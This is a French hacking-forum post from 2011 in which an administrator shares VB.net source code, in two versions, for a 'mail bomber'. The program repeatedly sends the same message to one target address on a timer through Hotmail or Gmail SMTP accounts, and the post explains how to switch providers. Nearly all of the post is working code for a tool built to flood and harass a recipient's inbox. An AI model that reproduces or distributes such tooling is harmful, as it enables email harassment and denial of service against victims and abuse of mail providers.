Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: Eye of thundera Mail Bomber VB.net ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Mer 14 Déc - 13:11 (2011)    Sujet du message: Eye of thundera Mail Bomber VB.net Répondre en citant

Voici un simple mail bomber, pour le moment il ne fonctionne que si on envois avec une adresse live car j'ai une erreur si je propose de choisir le server smtp et le port.







  1. Imports System.Net.Mail  
  2. Public Class Form1  
  3.   
  4.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick  
  5.         Dim smtpServer As New SmtpClient()  
  6.         Dim mail As New MailMessage()  
  7.         smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)  
  8.         smtpServer.Port = 587  
  9.         smtpServer.Host = "smtp.live.com"  
  10.         smtpServer.EnableSsl = True  
  11.         mail = New MailMessage()  
  12.         mail.From = New MailAddress(TextBox1.Text)  
  13.         mail.To.Add(TextBox3.Text)  
  14.         mail.Subject = TextBox4.Text  
  15.         mail.Body = RichTextBox1.Text  
  16.         smtpServer.Send(mail)  
  17.     End Sub  
  18.   
  19.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  20.         Timer1.Start()  
  21.     End Sub  
  22.   
  23.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click  
  24.         Timer1.Stop()  
  25.     End Sub  
  26.   
  27.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click  
  28.         MsgBox("Created by Alien !" & vbCrLf & vbCrLf & "Alien´s Softwares 2011" & vbCrLf & vbCrLf & "this softawre is open source," & vbCrLf & "you can modify and redistribute", MsgBoxStyle.Information, "About !")  
  29.     End Sub  
  30.   
  31.     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click  
  32.         Me.Close()  
  33.     End Sub  
  34. End Class  





Pour choisir le smtp de gmail rajouter une textbox et remplacer





  1. smtpServer.Host = "smtp.live.com"  





par





  1. smtpServer.Host = TextBox5.text  





le server pour gmail est smtp.gmail.com




Code source version 2



  1. Imports System.Net.Mail  
  2. Public Class Form1  
  3.   
  4.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick  
  5.         Dim smtpServer As New SmtpClient()  
  6.         Dim mail As New MailMessage()  
  7.         smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)  
  8.         smtpServer.Port = 587  
  9.         smtpServer.Host = ComboBox1.SelectedItem  
  10.         smtpServer.EnableSsl = True  
  11.         mail = New MailMessage()  
  12.         mail.From = New MailAddress(TextBox1.Text)  
  13.         mail.To.Add(TextBox3.Text)  
  14.         mail.Subject = TextBox4.Text  
  15.         mail.Body = RichTextBox1.Text  
  16.         smtpServer.Send(mail)  
  17.         Label8.Text = Val(Label8.Text + 1)  
  18.     End Sub  
  19.   
  20.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  21.         Timer1.Start()  
  22.     End Sub  
  23.   
  24.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click  
  25.         Timer1.Stop()  
  26.     End Sub  
  27.   
  28.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click  
  29.         MsgBox("Created by Alien !" & vbCrLf & vbCrLf & "Alien´s Softwares 2011" & vbCrLf & vbCrLf & "this softawre is open source," & vbCrLf & "you can modify and redistribute", MsgBoxStyle.Information, "About !")  
  30.     End Sub  
  31.   
  32.     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click  
  33.         Me.Close()  
  34.     End Sub  
  35. End Class  






_________________


Revenir en haut
Publicité






MessagePosté le: Mer 14 Déc - 13:11 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com